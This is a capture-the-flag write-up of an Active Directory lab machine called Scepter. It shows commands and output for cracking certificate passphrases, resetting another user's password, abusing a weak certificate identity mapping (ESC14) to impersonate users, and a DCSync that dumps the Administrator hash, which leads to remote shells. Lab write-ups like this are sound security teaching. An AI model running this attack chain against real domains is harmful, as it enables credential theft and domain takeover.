Yep, it’s another Active Directory box writeup! I really like doing these.
Recon#
As always, we do our initial Nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# nmap -sCV -sS -T5 -p- 10.129.54.106
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-27 01:08 EDT
Nmap scan report for DC01.scepter.htb (10.129.54.106)
Host is up (0.034s latency).
Not shown: 65462 closed tcp ports (reset), 43 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-27 07:57:10Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-08-27T07:58:20+00:00; +2h47m36s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-27T07:58:20+00:00; +2h47m37s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-08-27T07:58:20+00:00; +2h47m36s from scanner time.
3269/tcp open ssl/ldap
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-08-27T07:58:20+00:00; +2h47m37s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_ssl-date: 2025-08-27T07:58:20+00:00; +2h47m37s from scanner time.
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T00:21:41
|_Not valid after: 2025-11-01T00:41:41
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49687/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49717/tcp open msrpc Microsoft Windows RPC
49725/tcp open msrpc Microsoft Windows RPC
49761/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
|
Immediately something interesting stands out - it looks like NFS is open on this box! Before we go check that out, though, we first need to add the corresponding entry to our hosts file.
1
2
3
4
|
┌──(root㉿kali)-[/home/kali/Documents/htb/certified]
└─# sudo nano /etc/hosts
10.129.54.106 DC01.scepter.htb scepter.htb
|
Auth as d.baker#
Now that that’s done, let’s check it out! Thankfully, NFS is one of the protocols supported by netexec, which means that connecting to it is fairly straightforward:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# nxc nfs scepter.htb --shares
NFS 10.129.54.106 2049 scepter.htb [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS 10.129.54.106 2049 scepter.htb [*] Enumerating NFS Shares
NFS 10.129.54.106 2049 scepter.htb UID Perms Storage Usage Share Access List
NFS 10.129.54.106 2049 scepter.htb --- ----- ------------- ----- -----------
NFS 10.129.54.106 2049 scepter.htb 0 r-- 16.1GB/20.3GB /helpdesk No network
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# nxc nfs scepter.htb --share '/helpdesk' --ls
NFS 10.129.54.106 2049 scepter.htb [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS 10.129.54.106 2049 scepter.htb UID Perms File Size File Path
NFS 10.129.54.106 2049 scepter.htb --- ----- --------- ---------
NFS 10.129.54.106 2049 scepter.htb 0 dr-- 64.0B /helpdesk/.
NFS 10.129.54.106 2049 scepter.htb 0 dr-- 64.0B /helpdesk/..
NFS 10.129.54.106 2049 scepter.htb 0 -r-x 2.4KB /helpdesk/baker.crt
NFS 10.129.54.106 2049 scepter.htb 0 -r-x 2.0KB /helpdesk/baker.key
NFS 10.129.54.106 2049 scepter.htb 0 -r-x 3.2KB /helpdesk/clark.pfx
NFS 10.129.54.106 2049 scepter.htb 0 -r-x 3.2KB /helpdesk/lewis.pfx
NFS 10.129.54.106 2049 scepter.htb 0 -r-x 3.2KB /helpdesk/scott.pfx
|
It looks like there’s several pfx files for different users, plus a crt and key for one user. We download the files and check them out.
1
2
3
4
5
6
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# nxc nfs scepter.htb --share '/helpdesk' --get-file baker.crt baker.crt
NFS 10.129.54.106 2049 scepter.htb [*] Supported NFS versions: (2, 3, 4) (root escape:False)
NFS 10.129.54.106 2049 scepter.htb [*] Downloading baker.crt to baker.crt
NFS 10.129.54.106 2049 scepter.htb File successfully downloaded from baker.crt to baker.crt
[snip...]
|
Trying to authenticate with any of these certs, however, throws an error:
1
2
3
4
5
6
7
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad auth -pfx 'clark.pfx' -dc-ip 110.129.54.106 -domain 'scepter.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[-] Failed to load PFX file: Invalid password or PKCS12 data
[-] Authentication failed: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace
|
It’s very likely that these are encrypted pfx files. Thankfully, john provides a utility for converting an encrypted pfx file into a john-compatible format.
1
2
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# pfx2john clark.pfx > clark.hash
|
And running john cracks it pretty much instantly!
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# john clark.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (clark.pfx)
1g 0:00:00:00 DONE (2025-08-27 01:34) 5.000g/s 26880p/s 26880c/s 26880C/s Liverpool..ginuwine
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
|
All of the pfx files here are encrypted with this passphrase, as well as baker.key. We can try to authenticate with these files now that we know the passphrase, but doing so throws an error for all of them that tells us their credentials have been revoked.
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad auth -pfx 'clark.pfx' -dc-ip 10.129.54.106 -domain 'scepter.htb' -password 'newpassword'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'm.clark@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-2103'
[*] Using principal: 'm.clark@scepter.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
|
We havent tried doing anything with the cert + key, though - what if we tried combining that into a pfx and authenticating with that?
1
2
3
4
5
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:
|
As mentioned previously, the passphrase for baker.key is the same “newpassword” as the other pfx files were protected with.
If we try to authenticate with this new pfx, it works!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad auth -pfx 'baker.pfx' -dc-ip 10.129.54.106 -domain 'scepter.htb'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'd.baker@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
|
d.baker@scepter.htb - NT Hash
18b5fb0d99e7a475316213c15b6f22ce
Auth as a.carter#
Now that we have creds, let’s run a Bloodhound collector (my collector of choice for Linux is Rusthound-CE) and see what’s up!
Since Rusthound-CE doesn’t support authing with an NT hash, we’ll set up our kerberos realm config according to this guide first before running.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# rusthound-ce -d scepter.htb -f DC01.scepter.htb -k -z
---------------------------------------------------
Initializing RustHound-CE at 05:11:14 on 08/27/25
Powered by @g0h4n_0
---------------------------------------------------
[2025-08-27T09:11:14Z INFO rusthound_ce] Verbosity level: Info
[2025-08-27T09:11:14Z INFO rusthound_ce] Collection method: All
[2025-08-27T09:11:14Z INFO rusthound_ce::ldap] Connected to SCEPTER.HTB Active Directory!
[2025-08-27T09:11:14Z INFO rusthound_ce::ldap] Starting data collection...
[...snip]
RustHound-CE Enumeration Completed at 05:11:17 on 08/27/25! Happy Graphing!
|
Once we have everything imported into Bloodhound, let’s take a look at what d.baker can do.
It looks like d.baker can enroll in a Staff group-only certificate template, as well as has ForceChangePassword over a.carter.
Interestingly, when we look at a.carter’s permissions, we see the following:
As a member of IT Support, a.carter may be granted GenericAll over the Staff Access Certificate OU, of which…
d.baker is the only member. In other words, this all seems like a good setup for some ADCS abuse. Before we dive into that, though, let’s give ourselves control over a.carter:
1
2
3
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host 10.129.54.106 -d scepter.htb -u 'd.baker' -p 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' set password a.carter Password123
[+] Password changed successfully!
|
Auth as h.brown#
Now we have control of a.carter, let’s investigate the possibility of exploiting any ADCS vulnerabilities with d.baker’s special certificate access by running certipy as them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad find -username "d.baker@scepter.htb" -hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -target dc01.scepter.htb -dc-ip 10.129.54.106
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[snip...]
[*] Saving text output to '20250827052813_Certipy.txt'
[*] Wrote text output to '20250827052813_Certipy.txt'
[...snip]
|
Certipy tells us that StaffAccessCertificate is vulnerable to ESC9. Notably, it also lists SubjectAltRequiresEmail as a prerequisite.
1
2
3
4
5
6
7
8
9
10
11
12
|
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
[...snip]
Certificate Name Flag : SubjectAltRequireEmail
SubjectRequireDnsAsCn
SubjectRequireEmail
[...snip]
[+] User Enrollable Principals : SCEPTER.HTB\staff
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9
|
Unfortunately, we can’t actually exploit ESC9 here. Comparing this template configuration to [certified], we can see the reason why:
Certified#
1
2
|
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
|
Scepter#
1
2
3
|
Certificate Name Flag : SubjectAltRequireEmail
SubjectRequireDnsAsCn
SubjectRequireEmail
|
Certified’s configuration has the flag ‘SubjectAltRequireUpn’, whereas Scepter’s has ‘SubjectAltRequireEmail’. There are two ways to exploit ESC9, one that relies on manipulating the User Principal Name (UPN) of a target user, and one that relies on the presence of ESC6. ESC6 isn’t present here, so that’s not an option. We can manipulate d.baker’s UPN, but as the above configuration tells us, it’s not looking at the UPN at all for alternative identity mappings - it’s looking at the email!
This discrepancy between them does give us a hint as to what the actual next step is, though - ESC14 is a vulnerability that relies entirely on the altSecurityIdentities attribute (what the ‘Alt’ in those flag refers to) that isn’t flagged by certipy. If we look at h.brown’s user atttributes, something interesting sticks out…
1
2
3
4
5
6
7
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host 10.129.54.106 -d scepter.htb -u 'd.baker' -p 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' get object h.brown
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
accountExpires: 1601-01-01 00:00:00+00:00
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
[snip...]
|
Since we can obtain GenericAll over our target user d.baker, we can populate their mail attribute with anything we want. The email address h.brown@scepter.htb is defined as an explicit identity mapping for the user h.brown. These mappings take precedence over other identity mapping methods, as is the intention of the altSecurityIdentities attribute. In other words, if we set our target user (d.baker)’s email address to h.brown@scepter.htb and request a certificate, when we authenticate with that certificate, the KDC will honor that identity mapping and we’ll get a TGT as h.brown. This is the core of the ESC14 vulnerability - identify an altSecurityIdentities string with a weak (non-unique) mapping method and exploit that weak mapping to impersonate the user.
Let’s put this plan into action!
First, as a.carter, we grant ourselves GenericAll over the StaffAccessCertificate OU, and then use that to get GenericAll over d.baker:
1
2
3
4
5
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host 10.129.54.106 -d scepter.htb -u 'a.carter' -p 'Password123' add genericAll 'OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB' a.carter
bloodyAD --host 10.129.54.106 -d scepter.htb -u 'a.carter' -p 'Password123' add genericAll d.baker a.carter
[+] a.carter has now GenericAll on OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB
[+] a.carter has now GenericAll on d.baker
|
Next, we set d.baker’s mail attribute to h.brown@scepter.htb:
1
2
3
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host 10.129.54.106 -d scepter.htb -u 'a.carter' -p 'Password123' set object 'd.baker' mail -v 'h.brown@scepter.htb'
[+] d.baker's mail has been updated
|
We request a certificate using our vulnerable StaffCertificateAccess template (remember - even though ESC9 isn’t possible, it’s still reliant on weak security mappings because the security extension is disabled - specifically mapping by email!):
1
2
3
4
5
6
7
8
9
10
11
12
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad req -username "d.baker@scepter.htb" -hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.129.54.106
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'
|
And finally, we use our certificate to get h.brown’s TGT and NT hash!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad auth -pfx 'd.baker.pfx' -dc-ip 10.129.54.106 -domain 'scepter.htb' -u 'h.brown'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'h.brown@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'h.brown.ccache'
[*] Wrote credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
|
h.brown@scepter.htb - NT Hash
4ecf5242092c6fb8c360a08069c75a0c
User Flag#
h.brown is a member of Remote Management users. They are also a member of Protected Users, which means we can’t authenticate with their NT hash.
We can, however, authenticate just fine with their TGT!
1
2
3
4
5
6
7
8
9
10
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# evil-winrm -i DC01.scepter.htb -r scepter.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
|
1
2
|
*Evil-WinRM* PS C:\Users\h.brown\Documents> cat ../Desktop/user.txt
7c029aa2fa491e79f86a12af3c1b273b
|
User flag obtained!
Auth as p.adams#
While Bloodhound doesn’t show us anything interesting for h.brown’s outbound permissions, BloodyAD does (which is why it’s always good to double-check with BloodyAD, as there can be certain granular permissions that won’t be represented by an edge in Bloodhound!)
1
2
3
4
5
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host dc01.scepter.htb -d scepter.htb -k get writable --detail
[...snip]
distinguishedName: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb
altSecurityIdentities: WRITE
|
Hey, look at that, we can set p.adams’ altSecurityIdentities attribute! Let’s set it to the value X509:<RFC822>p.adams@scepter.htb and set d.baker’s email to match. Then we can just repeat the same steps as earlier, requesting out weakly-mappping certificate and using it to authenticate as p.adams!
First we set our attributes…
1
2
3
4
5
6
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host dc01.scepter.htb -d scepter.htb -k set object p.adams altSecurityIdentities -v 'X509:<RFC822>p.adams@scepter.htb'
[+] p.adams's altSecurityIdentities has been updated
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# bloodyAD --host 10.129.54.106 -d scepter.htb -u 'a.carter' -p 'Password123' set object 'd.baker' mail -v 'p.adams@scepter.htb'
[+] d.baker's mail has been updated
|
And then we request our certificate…
1
2
3
4
5
6
7
8
9
10
11
12
13
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad req -username "d.baker@scepter.htb" -hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.129.54.106
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[*] Wrote certificate and private key to 'd.baker_cd37125a-6249-43f1-9f76-10178c5da6b2.pfx'
|
…And auth with that cert!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# certipy-ad auth -pfx 'd.baker_cd37125a-6249-43f1-9f76-10178c5da6b2.pfx' -dc-ip 10.129.54.106 -domain 'scepter.htb' -u 'p.adams'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
|
p.adams@scepter.htb - NT Hash
1b925c524f447bb821a8789c4b118ce0
Auth as Administrator#
p.adams is a member of Replication Operators, which allows us to DCSync and dump everything!
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# impacket-secretsdump -dc-ip 10.129.54.106 -hashes ':1b925c524f447bb821a8789c4b118ce0' scepter.htb/p.adams@DC01.scepter.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[snip...]
[*] Cleaning up...
Administrator@scepter.htb - NT Hash
a291ead3493f9773dc615e66c2ea21c4
Root Flag#
With Administrator’s NT hash, we can WinRM in and claim the root flag!
1
2
3
4
5
6
7
8
9
10
|
┌──(root㉿kali)-[/home/…/htb/pwned/scepter/writeup]
└─# evil-winrm -i DC01.scepter.htb -u Administrator -H 'a291ead3493f9773dc615e66c2ea21c4'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
|
1
2
|
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ../Desktop/root.txt
1cdfbbbbbf26367cb2bb8e4849176595
|
Root flag obtained!
Parting thoughts#
Thank you for reading! While so far it’s all been AD box writeups here, I’ve done a couple Linux boxes lately, so I’ll probably do some writeups for those to add in a bit of variety. Until next time!
